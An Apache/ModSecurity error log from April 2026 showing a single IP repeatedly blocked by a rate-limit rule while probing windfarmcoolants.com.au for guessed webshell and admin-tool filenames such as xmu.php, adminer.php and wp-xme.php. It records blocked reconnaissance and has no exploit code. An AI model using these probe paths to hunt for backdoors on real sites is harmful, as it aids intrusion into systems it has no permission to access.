[Sun Apr 26 01:33:58.062054 2026] [:error] [pid 59896:tid 59913] [client 158.158.52.225:25503] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/locales.php"] [unique_id "aez7BrLLzhtkd-OXUgBVZwAAAE0"]
[Sun Apr 26 01:33:59.831433 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:46675] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/locales.php"] [unique_id "aez7B_g-28TY8_YLtUe9QgAAARI"]
[Sun Apr 26 01:34:01.201075 2026] [:error] [pid 59985:tid 60002] [client 158.158.52.225:29221] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aez7CQF_zDvEhKvyTH7-6wAAAA8"]
[Sun Apr 26 01:34:02.131671 2026] [:error] [pid 3212:tid 3219] [client 158.158.52.225:13188] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aez7Cvg-28TY8_YLtUe9TAAAAQU"]
[Sun Apr 26 01:34:03.257809 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:13974] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aez7C_g-28TY8_YLtUe9UgAAARQ"]
[Sun Apr 26 01:34:04.500068 2026] [:error] [pid 3212:tid 3230] [client 158.158.52.225:25506] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aez7DPg-28TY8_YLtUe9YAAAARA"]
[Sun Apr 26 01:34:05.455520 2026] [:error] [pid 59985:tid 59993] [client 158.158.52.225:14012] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pucci.php"] [unique_id "aez7DQF_zDvEhKvyTH7-7wAAAAY"]
[Sun Apr 26 01:34:06.382358 2026] [:error] [pid 59985:tid 59995] [client 158.158.52.225:58414] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pucci.php"] [unique_id "aez7DgF_zDvEhKvyTH7-8QAAAAg"]
[Sun Apr 26 01:34:07.941754 2026] [:error] [pid 59985:tid 60011] [client 158.158.52.225:64076] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pucci.php"] [unique_id "aez7DwF_zDvEhKvyTH7--AAAABg"]
[Sun Apr 26 01:34:08.890348 2026] [:error] [pid 59896:tid 59907] [client 158.158.52.225:39570] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pucci.php"] [unique_id "aez7ELLLzhtkd-OXUgBVbAAAAEc"]
[Sun Apr 26 01:34:09.637598 2026] [:error] [pid 3212:tid 3220] [client 158.158.52.225:24905] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7Efg-28TY8_YLtUe9hQAAAQY"]
[Sun Apr 26 01:34:10.583552 2026] [:error] [pid 59896:tid 59913] [client 158.158.52.225:15951] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7ErLLzhtkd-OXUgBVcgAAAE0"]
[Sun Apr 26 01:34:11.504152 2026] [:error] [pid 59985:tid 60003] [client 158.158.52.225:20974] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7EwF_zDvEhKvyTH7_AgAAABA"]
[Sun Apr 26 01:34:14.221470 2026] [:error] [pid 59898:tid 59961] [client 158.158.52.225:55394] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aez7Fh-4vImxb0kbdzfdvAAAAMc"]
[Sun Apr 26 01:34:16.268177 2026] [:error] [pid 59897:tid 59944] [client 158.158.52.225:55369] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aez7GPBrrkdzpEbmK4fAzQAAAJE"]
[Sun Apr 26 01:34:17.720413 2026] [:error] [pid 59896:tid 59916] [client 158.158.52.225:35758] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aez7GbLLzhtkd-OXUgBVgwAAAFA"]
[Sun Apr 26 01:34:18.835175 2026] [:error] [pid 59896:tid 59905] [client 158.158.52.225:20973] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aez7GrLLzhtkd-OXUgBVhQAAAEU"]
[Sun Apr 26 01:34:19.937445 2026] [:error] [pid 59896:tid 59910] [client 158.158.52.225:58483] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aez7G7LLzhtkd-OXUgBViAAAAEo"]
[Sun Apr 26 01:34:20.756423 2026] [:error] [pid 59896:tid 59903] [client 158.158.52.225:12625] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7HLLLzhtkd-OXUgBVjQAAAEM"]
[Sun Apr 26 01:34:22.003651 2026] [:error] [pid 59896:tid 59918] [client 158.158.52.225:39562] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7HrLLzhtkd-OXUgBVkgAAAFI"]
[Sun Apr 26 01:34:23.630969 2026] [:error] [pid 59898:tid 59963] [client 158.158.52.225:24919] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7Hx-4vImxb0kbdzfdygAAAMk"]
[Sun Apr 26 01:34:25.383685 2026] [:error] [pid 59897:tid 59945] [client 158.158.52.225:54674] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aez7IfBrrkdzpEbmK4fA1QAAAJI"]
[Sun Apr 26 01:34:26.291741 2026] [:error] [pid 59898:tid 59976] [client 158.158.52.225:25474] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aez7Ih-4vImxb0kbdzfdzAAAANY"]
[Sun Apr 26 01:34:27.346835 2026] [:error] [pid 3212:tid 3226] [client 158.158.52.225:24901] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aez7I_g-28TY8_YLtUe9rAAAAQw"]
[Sun Apr 26 01:34:28.603861 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:51946] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aez7JPg-28TY8_YLtUe9swAAARc"]
[Sun Apr 26 01:34:29.741898 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:54711] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aez7Jfg-28TY8_YLtUe9uAAAARg"]
[Sun Apr 26 01:34:31.424656 2026] [:error] [pid 3212:tid 3223] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Sun Apr 26 01:34:31.877828 2026] [:error] [pid 3212:tid 3216] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/no20.php
[Sun Apr 26 01:34:32.148566 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-alone.php
[Sun Apr 26 01:34:32.503121 2026] [:error] [pid 3212:tid 3235] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/yasnu.php
[Sun Apr 26 01:34:32.801765 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/sl.php
[Sun Apr 26 01:34:33.504876 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/vuln.php
[Sun Apr 26 01:34:33.763135 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-temp.php
[Sun Apr 26 01:34:34.721504 2026] [:error] [pid 3212:tid 3215] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/class-bda.php
[Sun Apr 26 01:34:35.020272 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:15948] File does not exist: /usr/local/apache/htdocs/suspended-page/bhm.php
[Sun Apr 26 01:34:35.317164 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:15948] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aez7K_g-28TY8_YLtUe91wAAARc"]
[Sun Apr 26 01:34:36.226506 2026] [:error] [pid 3212:tid 3220] [client 158.158.52.225:3241] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aez7LPg-28TY8_YLtUe93AAAAQY"]
[Sun Apr 26 01:34:36.979730 2026] [:error] [pid 59897:tid 59938] [client 158.158.52.225:3248] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aez7LPBrrkdzpEbmK4fA3QAAAIs"]
[Sun Apr 26 01:34:39.562999 2026] [:error] [pid 59897:tid 59930] [client 158.158.52.225:58461] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aez7L_BrrkdzpEbmK4fA4gAAAIM"]
[Sun Apr 26 01:34:41.047293 2026] [:error] [pid 59896:tid 59901] [client 158.158.52.225:38291] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aez7MbLLzhtkd-OXUgBVpQAAAEE"]
[Sun Apr 26 01:34:43.400418 2026] [:error] [pid 59985:tid 60006] [client 158.158.52.225:51937] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aez7MwF_zDvEhKvyTH7_JQAAABM"]
[Sun Apr 26 01:34:47.954448 2026] [:error] [pid 59898:tid 59971] [client 158.158.52.225:3228] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aez7Nx-4vImxb0kbdzfd4QAAANE"]
[Sun Apr 26 01:34:49.093423 2026] [:error] [pid 59896:tid 59922] [client 158.158.52.225:20985] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aez7ObLLzhtkd-OXUgBVtwAAAFY"]
[Sun Apr 26 01:34:50.546686 2026] [:error] [pid 59897:tid 59930] [client 158.158.52.225:38298] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aez7OvBrrkdzpEbmK4fA9gAAAIM"]
[Sun Apr 26 01:34:52.003230 2026] [:error] [pid 59898:tid 59955] [client 158.158.52.225:48577] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aez7PB-4vImxb0kbdzfd5gAAAME"]
[Sun Apr 26 01:34:53.050676 2026] [:error] [pid 59897:tid 59936] [client 158.158.52.225:24282] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aez7PfBrrkdzpEbmK4fBAQAAAIk"]
[Sun Apr 26 01:34:54.585332 2026] [:error] [pid 59897:tid 59938] [client 158.158.52.225:44099] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aez7PvBrrkdzpEbmK4fBBAAAAIs"]
[Sun Apr 26 01:34:56.812898 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:14634] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aez7QPg-28TY8_YLtUe-FAAAARQ"]
[Sun Apr 26 01:34:57.662575 2026] [:error] [pid 59898:tid 59978] [client 158.158.52.225:46479] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aez7QR-4vImxb0kbdzfd9AAAANg"]
[Sun Apr 26 01:34:59.854463 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:11910] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aez7Q_g-28TY8_YLtUe-GAAAAQM"]
[Sun Apr 26 01:35:03.178115 2026] [:error] [pid 59896:tid 59912] [client 158.158.52.225:35747] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aez7R7LLzhtkd-OXUgBVyAAAAEw"]
[Sun Apr 26 01:35:03.780093 2026] [:error] [pid 59896:tid 59922] [client 158.158.52.225:10548] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aez7R7LLzhtkd-OXUgBVywAAAFY"]
[Sun Apr 26 01:35:04.457695 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:48587] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aez7SPg-28TY8_YLtUe-GgAAAQQ"]
[Sun Apr 26 01:35:05.075380 2026] [:error] [pid 59896:tid 59920] [client 158.158.52.225:41471] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aez7SbLLzhtkd-OXUgBVzQAAAFQ"]
[Sun Apr 26 01:35:05.894952 2026] [:error] [pid 3212:tid 3224] [client 158.158.52.225:34921] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aez7Sfg-28TY8_YLtUe-IAAAAQo"]
[Sun Apr 26 01:35:07.980795 2026] [:error] [pid 59897:tid 59949] [client 158.158.52.225:41466] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aez7S_BrrkdzpEbmK4fBDQAAAJY"]
[Sun Apr 26 01:36:02.213794 2026] [:error] [pid 59985:tid 60010] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sun Apr 26 01:36:02.570732 2026] [:error] [pid 59985:tid 60001] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/amdin.php
[Sun Apr 26 01:36:02.944083 2026] [:error] [pid 59985:tid 59994] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/huya.php
[Sun Apr 26 01:36:03.288096 2026] [:error] [pid 59985:tid 60004] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Sun Apr 26 01:36:03.639864 2026] [:error] [pid 59985:tid 59993] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sun Apr 26 01:36:04.058450 2026] [:error] [pid 59985:tid 59992] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
[Sun Apr 26 01:36:04.400804 2026] [:error] [pid 59985:tid 60007] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Sun Apr 26 01:36:04.644474 2026] [:error] [pid 59985:tid 60005] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sun Apr 26 01:36:05.583941 2026] [:error] [pid 59985:tid 60003] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Sun Apr 26 01:36:05.827482 2026] [:error] [pid 59985:tid 60006] [client 158.158.52.225:45952] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Sun Apr 26 01:36:06.136375 2026] [:error] [pid 59985:tid 59999] [client 158.158.52.225:45952] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aez7hgF_zDvEhKvyTH7_vQAAAAw"]
[Sun Apr 26 01:36:07.943350 2026] [:error] [pid 59896:tid 59909] [client 158.158.52.225:64548] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aez7h7LLzhtkd-OXUgBWegAAAEk"]
